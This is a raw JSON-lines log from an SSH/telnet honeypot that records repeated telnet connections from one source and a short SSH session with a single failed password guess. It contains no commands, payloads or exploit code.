{"eventid":"cowrie.session.closed","duration":31.126639366149902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:32.835845Z","src_ip":"162.55.233.176","session":"f5bc58687f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52492,"dst_ip":"159.203.135.109","dst_port":23,"session":"5999ce8f72b8","protocol":"telnet","message":"New connection: 162.55.233.176:52492 (159.203.135.109:23) [session: 5999ce8f72b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:32.961295Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52502,"dst_ip":"159.203.135.109","dst_port":23,"session":"02132dfad707","protocol":"telnet","message":"New connection: 162.55.233.176:52502 (159.203.135.109:23) [session: 02132dfad707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:33.354111Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52508,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcd6596ca97f","protocol":"telnet","message":"New connection: 162.55.233.176:52508 (159.203.135.109:23) [session: bcd6596ca97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:33.607380Z"}
{"eventid":"cowrie.session.closed","duration":36.817363262176514,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:33.636917Z","src_ip":"162.55.233.176","session":"62266a76c933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.79888558387756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:33.797450Z","src_ip":"162.55.233.176","session":"c2d6989c1f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.100821018218994,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:33.897850Z","src_ip":"162.55.233.176","session":"0749c1a786eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.432765007019043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:34.032653Z","src_ip":"162.55.233.176","session":"db9c5c8ad644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52510,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdd0cd233869","protocol":"telnet","message":"New connection: 162.55.233.176:52510 (159.203.135.109:23) [session: bdd0cd233869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:34.482706Z"}
{"eventid":"cowrie.session.closed","duration":31.502882719039917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:34.494519Z","src_ip":"162.55.233.176","session":"963512e80240","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":42494,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e82755054cb","protocol":"ssh","message":"New connection: 38.137.11.14:42494 (10.17.0.5:22) [session: 1e82755054cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:34.545827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:34.550245Z","src_ip":"38.137.11.14","session":"1e82755054cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.114786863327026,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:34.553098Z","src_ip":"162.55.233.176","session":"0768a18b9e40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.1402804851532,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:34.557557Z","src_ip":"162.55.233.176","session":"197a61f1a57f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52524,"dst_ip":"159.203.135.109","dst_port":23,"session":"c92939087329","protocol":"telnet","message":"New connection: 162.55.233.176:52524 (159.203.135.109:23) [session: c92939087329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:34.640967Z"}
{"eventid":"cowrie.session.closed","duration":35.477964878082275,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:34.681902Z","src_ip":"162.55.233.176","session":"e47d19e64d38","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:34.798695Z","src_ip":"38.137.11.14","session":"1e82755054cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52540,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d337af7a5d6","protocol":"telnet","message":"New connection: 162.55.233.176:52540 (159.203.135.109:23) [session: 1d337af7a5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:35.261410Z"}
{"eventid":"cowrie.session.closed","duration":31.336475133895874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:35.551389Z","src_ip":"162.55.233.176","session":"8775cb98ed92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.675289154052734,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:35.657964Z","src_ip":"162.55.233.176","session":"1e7df5f93388","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52556,"dst_ip":"159.203.135.109","dst_port":23,"session":"a130f124773a","protocol":"telnet","message":"New connection: 162.55.233.176:52556 (159.203.135.109:23) [session: a130f124773a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:35.728945Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"qwerty","message":"login attempt [developer/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:35.827117Z","src_ip":"38.137.11.14","session":"1e82755054cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.592053651809692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:35.917508Z","src_ip":"162.55.233.176","session":"75fc9c64a6c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52560,"dst_ip":"159.203.135.109","dst_port":23,"session":"46163dbe5886","protocol":"telnet","message":"New connection: 162.55.233.176:52560 (159.203.135.109:23) [session: 46163dbe5886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:35.987641Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52568,"dst_ip":"159.203.135.109","dst_port":23,"session":"482291cd4119","protocol":"telnet","message":"New connection: 162.55.233.176:52568 (159.203.135.109:23) [session: 482291cd4119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:36.020046Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52570,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4d4a156a9de","protocol":"telnet","message":"New connection: 162.55.233.176:52570 (159.203.135.109:23) [session: d4d4a156a9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:36.290333Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52574,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd1d41f3fb7f","protocol":"telnet","message":"New connection: 162.55.233.176:52574 (159.203.135.109:23) [session: bd1d41f3fb7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:36.292931Z"}
{"eventid":"cowrie.session.closed","duration":38.354530572891235,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:36.364028Z","src_ip":"162.55.233.176","session":"eb8af1b1717a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52582,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebccb6ca7f8a","protocol":"telnet","message":"New connection: 162.55.233.176:52582 (159.203.135.109:23) [session: ebccb6ca7f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:36.499917Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52598,"dst_ip":"159.203.135.109","dst_port":23,"session":"883f5bbac317","protocol":"telnet","message":"New connection: 162.55.233.176:52598 (159.203.135.109:23) [session: 883f5bbac317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:36.606851Z"}
{"eventid":"cowrie.session.closed","duration":33.90790867805481,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:36.646153Z","src_ip":"162.55.233.176","session":"30b238921b7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52608,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc3c66ae5fe5","protocol":"telnet","message":"New connection: 162.55.233.176:52608 (159.203.135.109:23) [session: bc3c66ae5fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:36.802179Z"}
{"eventid":"cowrie.session.closed","duration":31.55008602142334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:36.938437Z","src_ip":"162.55.233.176","session":"0172ba8db218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37423896789551,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:37.004593Z","src_ip":"162.55.233.176","session":"3ccf57671592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52618,"dst_ip":"159.203.135.109","dst_port":23,"session":"d49585ed0fba","protocol":"telnet","message":"New connection: 162.55.233.176:52618 (159.203.135.109:23) [session: d49585ed0fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:37.018401Z"}
{"eventid":"cowrie.session.closed","duration":34.50836777687073,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:37.036098Z","src_ip":"162.55.233.176","session":"aa8cadce89ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:37.078284Z","src_ip":"38.137.11.14","session":"1e82755054cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52632,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bf90a7244d6","protocol":"telnet","message":"New connection: 162.55.233.176:52632 (159.203.135.109:23) [session: 6bf90a7244d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:37.082721Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52646,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d3c9ab41174","protocol":"telnet","message":"New connection: 162.55.233.176:52646 (159.203.135.109:23) [session: 7d3c9ab41174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:37.306008Z"}
{"eventid":"cowrie.session.closed","duration":32.81429648399353,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:37.790414Z","src_ip":"162.55.233.176","session":"f48074bcbada","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52660,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4cd256ab3cd","protocol":"telnet","message":"New connection: 162.55.233.176:52660 (159.203.135.109:23) [session: b4cd256ab3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:37.932067Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52674,"dst_ip":"159.203.135.109","dst_port":23,"session":"789cfaf11e00","protocol":"telnet","message":"New connection: 162.55.233.176:52674 (159.203.135.109:23) [session: 789cfaf11e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:38.001024Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52688,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c3a846d0699","protocol":"telnet","message":"New connection: 162.55.233.176:52688 (159.203.135.109:23) [session: 2c3a846d0699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:38.136091Z"}
{"eventid":"cowrie.session.closed","duration":30.94675374031067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:38.478167Z","src_ip":"162.55.233.176","session":"5a76bcd7f3e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.334004640579224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:38.703191Z","src_ip":"162.55.233.176","session":"a2e0f435169a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52692,"dst_ip":"159.203.135.109","dst_port":23,"session":"51a8a9a1c183","protocol":"telnet","message":"New connection: 162.55.233.176:52692 (159.203.135.109:23) [session: 51a8a9a1c183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:39.354879Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52696,"dst_ip":"159.203.135.109","dst_port":23,"session":"b78d2aa0b4aa","protocol":"telnet","message":"New connection: 162.55.233.176:52696 (159.203.135.109:23) [session: b78d2aa0b4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:39.610826Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52706,"dst_ip":"159.203.135.109","dst_port":23,"session":"579c38178dd1","protocol":"telnet","message":"New connection: 162.55.233.176:52706 (159.203.135.109:23) [session: 579c38178dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:39.622849Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52712,"dst_ip":"159.203.135.109","dst_port":23,"session":"99687646cb47","protocol":"telnet","message":"New connection: 162.55.233.176:52712 (159.203.135.109:23) [session: 99687646cb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:40.172412Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52720,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6c38d467a2e","protocol":"telnet","message":"New connection: 162.55.233.176:52720 (159.203.135.109:23) [session: f6c38d467a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:40.601631Z"}
{"eventid":"cowrie.session.closed","duration":33.48296284675598,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:40.661239Z","src_ip":"162.55.233.176","session":"7b18190d572d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.973156452178955,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:40.759095Z","src_ip":"162.55.233.176","session":"24291051132f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52722,"dst_ip":"159.203.135.109","dst_port":23,"session":"409715c10e14","protocol":"telnet","message":"New connection: 162.55.233.176:52722 (159.203.135.109:23) [session: 409715c10e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:40.816558Z"}
{"eventid":"cowrie.session.closed","duration":33.93038082122803,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:40.822809Z","src_ip":"162.55.233.176","session":"39c591935ea8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52724,"dst_ip":"159.203.135.109","dst_port":23,"session":"64561447a6fb","protocol":"telnet","message":"New connection: 162.55.233.176:52724 (159.203.135.109:23) [session: 64561447a6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:40.903639Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52740,"dst_ip":"159.203.135.109","dst_port":23,"session":"92b9ca3423fe","protocol":"telnet","message":"New connection: 162.55.233.176:52740 (159.203.135.109:23) [session: 92b9ca3423fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:40.928943Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52754,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d6004026ac1","protocol":"telnet","message":"New connection: 162.55.233.176:52754 (159.203.135.109:23) [session: 8d6004026ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:40.932967Z"}
{"eventid":"cowrie.session.closed","duration":37.23060750961304,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:40.972608Z","src_ip":"162.55.233.176","session":"2b2e1c23a768","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.6469087600708,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:41.127396Z","src_ip":"162.55.233.176","session":"5ba624d52b32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52764,"dst_ip":"159.203.135.109","dst_port":23,"session":"1554a4195af7","protocol":"telnet","message":"New connection: 162.55.233.176:52764 (159.203.135.109:23) [session: 1554a4195af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:41.206923Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52778,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0cdc95f0c8c","protocol":"telnet","message":"New connection: 162.55.233.176:52778 (159.203.135.109:23) [session: a0cdc95f0c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:41.258997Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52782,"dst_ip":"159.203.135.109","dst_port":23,"session":"127bd1d50649","protocol":"telnet","message":"New connection: 162.55.233.176:52782 (159.203.135.109:23) [session: 127bd1d50649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:41.664526Z"}
{"eventid":"cowrie.session.closed","duration":30.860323190689087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:41.672482Z","src_ip":"162.55.233.176","session":"81e3983c4b26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52796,"dst_ip":"159.203.135.109","dst_port":23,"session":"57983f2f9bfa","protocol":"telnet","message":"New connection: 162.55.233.176:52796 (159.203.135.109:23) [session: 57983f2f9bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:42.052314Z"}
{"eventid":"cowrie.session.closed","duration":32.096906661987305,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:42.277239Z","src_ip":"162.55.233.176","session":"84f2823e2885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.0010290145874,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:42.341640Z","src_ip":"162.55.233.176","session":"ae63e65b6ddc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52804,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab839aec437","protocol":"telnet","message":"New connection: 162.55.233.176:52804 (159.203.135.109:23) [session: 6ab839aec437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:42.498102Z"}
{"eventid":"cowrie.session.closed","duration":45.78274345397949,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:42.557949Z","src_ip":"188.208.141.113","session":"863774284c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.927855491638184,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:42.612659Z","src_ip":"162.55.233.176","session":"c0ebd14ee86b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52810,"dst_ip":"159.203.135.109","dst_port":23,"session":"683a28b95cf5","protocol":"telnet","message":"New connection: 162.55.233.176:52810 (159.203.135.109:23) [session: 683a28b95cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:42.686121Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47882,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d33015f2478","protocol":"telnet","message":"New connection: 162.55.233.176:47882 (159.203.135.109:23) [session: 3d33015f2478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:42.933520Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47894,"dst_ip":"159.203.135.109","dst_port":23,"session":"b986d39bf3a4","protocol":"telnet","message":"New connection: 162.55.233.176:47894 (159.203.135.109:23) [session: b986d39bf3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:43.019500Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47908,"dst_ip":"159.203.135.109","dst_port":23,"session":"32a207123dc3","protocol":"telnet","message":"New connection: 162.55.233.176:47908 (159.203.135.109:23) [session: 32a207123dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:43.036095Z"}
{"eventid":"cowrie.session.closed","duration":31.151572465896606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:43.203903Z","src_ip":"162.55.233.176","session":"4de4b4325b1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47912,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7332ce4f027","protocol":"telnet","message":"New connection: 162.55.233.176:47912 (159.203.135.109:23) [session: c7332ce4f027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:43.214308Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47926,"dst_ip":"159.203.135.109","dst_port":23,"session":"482e807d95dc","protocol":"telnet","message":"New connection: 162.55.233.176:47926 (159.203.135.109:23) [session: 482e807d95dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:43.425835Z"}
{"eventid":"cowrie.session.closed","duration":31.456749200820923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:43.492652Z","src_ip":"162.55.233.176","session":"1a4595bc5dca","protocol":"telnet"}
